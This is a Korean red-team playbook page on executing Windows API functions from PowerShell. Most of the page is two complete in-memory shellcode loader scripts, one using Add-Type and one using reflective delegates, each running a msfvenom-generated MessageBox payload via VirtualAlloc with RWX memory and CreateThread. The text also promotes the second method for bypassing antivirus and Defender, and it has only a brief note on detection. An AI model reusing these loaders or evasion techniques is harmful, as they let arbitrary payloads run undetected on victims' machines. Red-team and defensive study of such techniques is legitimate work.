윈도우 API 실행

파워쉘에서는 윈도우 API를 실행할 수 있는 총 세 가지 방법이 있다.

  • Add-Type

  • .NET 어셈블리가 사용하는 윈도우 API를 찾아 실행하는 방법

  • 윈도우 API의 메모리상 주소를 알아내고, 함수 포인터를 만든 뒤, 다이내믹 Assembly, Module, Type, Method 과 Delegate를 이용해 이 함수 포인터로 윈도우 API를 실행하는 방법

이 페이지에서는 1번과 3번에 대해서 알아본다.

Add-Type

Add-Type 은 마이크로소프트사에서 공식적으로 지원하는 파워쉘에서 윈도우 API를 사용하는 방법 중 하나다. 더 정확하게 말하자면 파워쉘에서 C# 클래스를 작성한 뒤 메모리상에서 컴파일 하고 실행하는 함수 중 하나다.

먼저 PoC 쉘코드로 사용할 쉘코드를 msfvenom을 이용해 제작한다.

msfvenom -p windows/x64/messagebox text="stage0 shellcode" title="choi redteam playbook" -f ps1

다음은 파워쉘에서 윈도우 API를 이용해 MessageBox 쉘코드를 실행하는 PoC다.

Invoke-Addtype.ps1
$csharpCode = @"

using System;
using System.Runtime.InteropServices;

public class winAPIClass { 

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $csharpCode

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0

# Page commit | reserve, RWX 
$pAlloc = [winAPIClass]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [winAPIClass]::CreateThread(0,0,$pAlloc,0,0,0)        

대응 방안

Add-Type이 실행될 때 C# 코드가 메모리상에서 컴파일 된다고 위에서 얘기했었다. 더 자세하게 얘기하자면 csc.exe 를 이용해 메모리상에서 C# 코드를 컴파일 하지만, 그 와중에 임시 파일을 디스크위에 작성한다.

2022년도 기준 Add-Type 를 이용한 파워쉘에서의 C# 코드 및 윈도우 API 실행은 유명한 TTP라 왠만한 AV/EDR 솔루션들 및 윈도우 디펜더는 이를 기본적으로 막는다.

Dynamic Method

다음 코드들은 다음 두 개의 레퍼런스 - Matt Graeber, mez0, DepthSecurity 라는 분들의 코드 참고했다. 먼저 LookUpFunction 이라는 함수로 현 .NET AppDomain에 있는 어셈블리들 중 System.dll 닷넷 어셈블리를 찾고, 그 중 UnsafeNativeMethod 를 찾는다. 그 뒤, GetMethods() 함수를 통해 닷넷 어셈블리에서 GetProcAddressGetModuleHandle 윈도우API를 찾는다. 그 뒤, 이들을 이용해 파라미터로 받아온 ModuleName과 FunctionName을 찾는다.

# Unmanaged DLL 이름과 winAPI함수 이름을 입력값으로 받고, 함수 포인터를 반환함. 
function LookUpFunc {
    Param($module, $funcName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}

결국 $fPointer = LookUpfunction Kernel32.dll VirtualAlloc 과 같은 파워쉘 코드를 이용하면 VirtualAlloc 의 위치를 가르키는 함수 포인터를 생성할 수 있게 된다.

함수 포인터가 있다고 해서 그것을 무작정 사용할 수는 없다. 함수 포인터가 가르키는 메모리는 어떻게 읽어야하는가? 몇개의 argument 가 있고, 어떤 타입의 argument 들이 있는가? 리턴하는 데이터 타입은? 에 대한 설명을 기반으로 함수 포인터를 실행해야 하는데, C#과 파워쉘에서는 이를 Delegate 을 통해서 해결한다.

다음은 파워쉘에서 Delegate 을 만들고 그것을 기반으로 위에서 받아온 함수 포인터를 실행하는 코드다. 다이내믹 어셈블리, 모듈, 타입, 프로토타입, 매써드 등을 만든 뒤 DelegateType을 반환한다.

# 함수 시그니쳐와 반환값을 입력값으로 받고, DelegateType을 반환함. 
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}

getDelegateType 함수는 다음과 같이 쓴다.

$pVirtualAlloc = LookUpFunc "kernel32.dll" "VirtualAlloc" 
$dtVirtualAlloc = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pVitualAlloc, $dtVirtualAlloc)

이를 기반으로 위 Add-Type 예시에서 만들었던 메시지 박스 쉘코드를 실행하는 파워쉘 페이로드를 만들면 다음과 같다.

# All credit to https://mez0.cc/posts/cobaltstrike-powershell-exec/
function LookUpFunc {
    Param($module, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}

# All credit to https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0
$pAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $pAlloc, [IntPtr]::Zero, 0, [IntPtr]::Zero)

위 Dynamic Method 방법의 경우 C# 이 컴파일이 되는 것이 아니기 때문에 디스크상의 임시 파일이 쓰여질 일도 없다. 따라서 기본적인 AV나 디펜더를 우회하는데 좀 더 유리하다.

레퍼런스

Last updated